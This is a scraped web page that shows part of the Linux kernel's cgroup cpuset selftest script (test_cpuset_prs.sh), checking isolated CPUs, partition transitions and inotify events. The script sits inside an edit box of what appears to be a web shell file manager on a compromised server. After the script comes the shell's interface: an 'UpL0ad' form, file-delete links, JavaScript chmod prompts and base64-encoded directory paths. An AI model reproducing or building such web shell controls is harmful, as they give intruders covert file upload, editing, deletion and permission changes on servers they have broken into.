# if available, and compare that with the expected value.
#
# Note that isolated CPUs from the sched/domains context include offline
# CPUs as well as CPUs in non-isolated 1-CPU partition. Those CPUs may
# not be included in the cpuset.cpus.isolated control file which contains
# only CPUs in isolated partitions.
#
# $1 - expected isolated cpu list(s) &lt;isolcpus1&gt;{,&lt;isolcpus2&gt;}
# &lt;isolcpus1&gt; - expected sched/domains value
# &lt;isolcpus2&gt; - cpuset.cpus.isolated value = &lt;isolcpus1&gt; if not defined
#
check_isolcpus()
{
	EXPECT_VAL=$1
	ISOLCPUS=
	LASTISOLCPU=
	SCHED_DOMAINS=/sys/kernel/debug/sched/domains
	ISCPUS=${CGROUP2}/cpuset.cpus.isolated
	if [[ $EXPECT_VAL = . ]]
	then
		EXPECT_VAL=
		EXPECT_VAL2=
	elif [[ $(expr $EXPECT_VAL : &quot;.*,.*&quot;) &gt; 0 ]]
	then
		set -- $(echo $EXPECT_VAL | sed -e &quot;s/,/ /g&quot;)
		EXPECT_VAL=$1
		EXPECT_VAL2=$2
	else
		EXPECT_VAL2=$EXPECT_VAL
	fi

	#
	# Check the debug isolated cpumask, if present
	#
	[[ -f $ISCPUS ]] &amp;&amp; {
		ISOLCPUS=$(cat $ISCPUS)
		[[ &quot;$EXPECT_VAL2&quot; != &quot;$ISOLCPUS&quot; ]] &amp;&amp; {
			# Take a 50ms pause and try again
			pause 0.05
			ISOLCPUS=$(cat $ISCPUS)
		}
		[[ &quot;$EXPECT_VAL2&quot; != &quot;$ISOLCPUS&quot; ]] &amp;&amp; return 1
		ISOLCPUS=
	}

	#
	# Use the sched domain in debugfs to check isolated CPUs, if available
	#
	[[ -d $SCHED_DOMAINS ]] || return 0

	for ((CPU=0; CPU &lt; $NR_CPUS; CPU++))
	do
		[[ -n &quot;$(ls ${SCHED_DOMAINS}/cpu$CPU)&quot; ]] &amp;&amp; continue

		if [[ -z &quot;$LASTISOLCPU&quot; ]]
		then
			ISOLCPUS=$CPU
			LASTISOLCPU=$CPU
		elif [[ &quot;$LASTISOLCPU&quot; -eq $((CPU - 1)) ]]
		then
			echo $ISOLCPUS | grep -q &quot;\&lt;$LASTISOLCPU\$&quot;
			if [[ $? -eq 0 ]]
			then
				ISOLCPUS=${ISOLCPUS}-
			fi
			LASTISOLCPU=$CPU
		else
			if [[ $ISOLCPUS = *- ]]
			then
				ISOLCPUS=${ISOLCPUS}$LASTISOLCPU
			fi
			ISOLCPUS=${ISOLCPUS},$CPU
			LASTISOLCPU=$CPU
		fi
	done
	[[ &quot;$ISOLCPUS&quot; = *- ]] &amp;&amp; ISOLCPUS=${ISOLCPUS}$LASTISOLCPU
	[[ &quot;$EXPECT_VAL&quot; = &quot;$ISOLCPUS&quot; ]]
}

test_fail()
{
	TESTNUM=$1
	TESTTYPE=$2
	ADDINFO=$3
	echo &quot;Test $TEST[$TESTNUM] failed $TESTTYPE check!&quot;
	[[ -n &quot;$ADDINFO&quot; ]] &amp;&amp; echo &quot;*** $ADDINFO ***&quot;
	eval echo \${$TEST[$I]}
	echo
	dump_states
	exit 1
}

#
# Check to see if there are unexpected isolated CPUs left
#
null_isolcpus_check()
{
	[[ $VERBOSE -gt 0 ]] || return 0
	# Retry a few times before printing error
	RETRY=0
	while [[ $RETRY -lt 5 ]]
	do
		pause 0.01
		check_isolcpus &quot;.&quot;
		[[ $? -eq 0 ]] &amp;&amp; return 0
		((RETRY++))
	done
	echo &quot;Unexpected isolated CPUs: $ISOLCPUS&quot;
	dump_states
	exit 1
}

#
# Run cpuset state transition test
#  $1 - test matrix name
#
# This test is somewhat fragile as delays (sleep x) are added in various
# places to make sure state changes are fully propagated before the next
# action. These delays may need to be adjusted if running in a slower machine.
#
run_state_test()
{
	TEST=$1
	CONTROLLER=cpuset
	I=0
	eval CNT=&quot;\${#$TEST[@]}&quot;

	reset_cgroup_states
	console_msg &quot;Running state transition test ...&quot;

	while [[ $I -lt $CNT ]]
	do
		echo &quot;Running test $I ...&quot; &gt; /dev/console
		[[ $VERBOSE -gt 1 ]] &amp;&amp; {
			echo &quot;&quot;
			eval echo \${$TEST[$I]}
		}
		eval set -- &quot;\${$TEST[$I]}&quot;
		OLD_A1=$1
		OLD_A2=$2
		OLD_A3=$3
		OLD_B1=$4
		NEW_A1=$5
		NEW_A2=$6
		NEW_A3=$7
		NEW_B1=$8
		RESULT=$9
		ECPUS=${10}
		STATES=${11}
		ICPUS=${12}

		set_ctrl_state_noerr B1       $OLD_B1
		set_ctrl_state_noerr A1       $OLD_A1
		set_ctrl_state_noerr A1/A2    $OLD_A2
		set_ctrl_state_noerr A1/A2/A3 $OLD_A3
		RETVAL=0
		set_ctrl_state A1       $NEW_A1; ((RETVAL += $?))
		set_ctrl_state A1/A2    $NEW_A2; ((RETVAL += $?))
		set_ctrl_state A1/A2/A3 $NEW_A3; ((RETVAL += $?))
		set_ctrl_state B1       $NEW_B1; ((RETVAL += $?))

		[[ $RETVAL -ne $RESULT ]] &amp;&amp; test_fail $I result

		[[ -n &quot;$ECPUS&quot; &amp;&amp; &quot;$ECPUS&quot; != . ]] &amp;&amp; {
			check_effective_cpus $ECPUS
			[[ $? -ne 0 ]] &amp;&amp; test_fail $I &quot;effective CPU&quot;
		}

		[[ -n &quot;$STATES&quot; &amp;&amp; &quot;$STATES&quot; != . ]] &amp;&amp; {
			check_cgroup_states $STATES
			[[ $? -ne 0 ]] &amp;&amp; test_fail $I states
		}

		# Compare the expected isolated CPUs with the actual ones,
		# if available
		[[ -n &quot;$ICPUS&quot; ]] &amp;&amp; {
			check_isolcpus $ICPUS
			[[ $? -ne 0 ]] &amp;&amp; test_fail $I &quot;isolated CPU&quot; \
				&quot;Expect $ICPUS, get $ISOLCPUS instead&quot;
		}
		reset_cgroup_states
		#
		# Check to see if effective cpu list changes
		#
		NEWLIST=$(cat cpuset.cpus.effective)
		RETRY=0
		while [[ $NEWLIST != $CPULIST &amp;&amp; $RETRY -lt 8 ]]
		do
			# Wait a bit longer &amp; recheck a few times
			pause 0.01
			((RETRY++))
			NEWLIST=$(cat cpuset.cpus.effective)
		done
		[[ $NEWLIST != $CPULIST ]] &amp;&amp; {
			echo &quot;Effective cpus changed to $NEWLIST after test $I!&quot;
			exit 1
		}
		null_isolcpus_check
		[[ $VERBOSE -gt 0 ]] &amp;&amp; echo &quot;Test $I done.&quot;
		((I++))
	done
	echo &quot;All $I tests of $TEST PASSED.&quot;
}

#
# Testing the new &quot;isolated&quot; partition root type
#
test_isolated()
{
	cd $CGROUP2/test
	echo 2-3 &gt; cpuset.cpus
	TYPE=$(cat cpuset.cpus.partition)
	[[ $TYPE = member ]] || echo member &gt; cpuset.cpus.partition

	console_msg &quot;Change from member to root&quot;
	test_partition root

	console_msg &quot;Change from root to isolated&quot;
	test_partition isolated

	console_msg &quot;Change from isolated to member&quot;
	test_partition member

	console_msg &quot;Change from member to isolated&quot;
	test_partition isolated

	console_msg &quot;Change from isolated to root&quot;
	test_partition root

	console_msg &quot;Change from root to member&quot;
	test_partition member

	#
	# Testing partition root with no cpu
	#
	console_msg &quot;Distribute all cpus to child partition&quot;
	echo +cpuset &gt; cgroup.subtree_control
	test_partition root

	mkdir A1
	cd A1
	echo 2-3 &gt; cpuset.cpus
	test_partition root
	test_effective_cpus 2-3
	cd ..
	test_effective_cpus &quot;&quot;

	console_msg &quot;Moving task to partition test&quot;
	test_add_proc &quot;No space left&quot;
	cd A1
	test_add_proc &quot;&quot;
	cd ..

	console_msg &quot;Shrink and expand child partition&quot;
	cd A1
	echo 2 &gt; cpuset.cpus
	cd ..
	test_effective_cpus 3
	cd A1
	echo 2-3 &gt; cpuset.cpus
	cd ..
	test_effective_cpus &quot;&quot;

	# Cleaning up
	console_msg &quot;Cleaning up&quot;
	echo $$ &gt; $CGROUP2/cgroup.procs
	[[ -d A1 ]] &amp;&amp; rmdir A1
	null_isolcpus_check
}

#
# Wait for inotify event for the given file and read it
# $1: cgroup file to wait for
# $2: file to store the read result
#
wait_inotify()
{
	CGROUP_FILE=$1
	OUTPUT_FILE=$2

	$WAIT_INOTIFY $CGROUP_FILE
	cat $CGROUP_FILE &gt; $OUTPUT_FILE
}

#
# Test if inotify events are properly generated when going into and out of
# invalid partition state.
#
test_inotify()
{
	ERR=0
	PRS=/tmp/.prs_$$
	cd $CGROUP2/test
	[[ -f $WAIT_INOTIFY ]] || {
		echo &quot;wait_inotify not found, inotify test SKIPPED.&quot;
		return
	}

	pause 0.01
	echo 1 &gt; cpuset.cpus
	echo 0 &gt; cgroup.procs
	echo root &gt; cpuset.cpus.partition
	pause 0.01
	rm -f $PRS
	wait_inotify $PWD/cpuset.cpus.partition $PRS &amp;
	pause 0.01
	set_ctrl_state . &quot;O1=0&quot;
	pause 0.01
	check_cgroup_states &quot;.:P-1&quot;
	if [[ $? -ne 0 ]]
	then
		echo &quot;FAILED: Inotify test - partition not invalid&quot;
		ERR=1
	elif [[ ! -f $PRS ]]
	then
		echo &quot;FAILED: Inotify test - event not generated&quot;
		ERR=1
		kill %1
	elif [[ $(cat $PRS) != &quot;root invalid&quot;* ]]
	then
		echo &quot;FAILED: Inotify test - incorrect state&quot;
		cat $PRS
		ERR=1
	fi
	online_cpus
	echo member &gt; cpuset.cpus.partition
	echo 0 &gt; ../cgroup.procs
	if [[ $ERR -ne 0 ]]
	then
		exit 1
	else
		echo &quot;Inotify test PASSED&quot;
	fi
}

trap cleanup 0 2 3 6
run_state_test TEST_MATRIX
test_isolated
test_inotify
echo &quot;All tests PASSED.&quot;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-124/tools/testing/selftests/cgroup<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHM="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&x=TWFrZWZpbGU=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=TWFrZWZpbGU="/>Makefile</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=TWFrZWZpbGU=&c=`+btoa(c):0" value="0644"></td><td>902</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&x=dGVzdF9jcHVzZXRfcHJzLnNo">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=dGVzdF9jcHVzZXRfcHJzLnNo"/>test_cpuset_prs.sh</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=dGVzdF9jcHVzZXRfcHJzLnNo&c=`+btoa(c):0" value="0755"></td><td>27896</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&x=dGVzdF9zdHJlc3Muc2g=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=dGVzdF9zdHJlc3Muc2g="/>test_stress.sh</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=dGVzdF9zdHJlc3Muc2g=&c=`+btoa(c):0" value="0755"></td><td>106</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&x=d2l0aF9zdHJlc3Muc2g=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=d2l0aF9zdHJlc3Muc2g="/>with_stress.sh</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC0xMjQvdG9vbHMvdGVzdGluZy9zZWxmdGVzdHMvY2dyb3Vw&f=d2l0aF9zdHJlc3Muc2g=&c=`+btoa(c):0" value="0755"></td><td>1722</td></tr></table>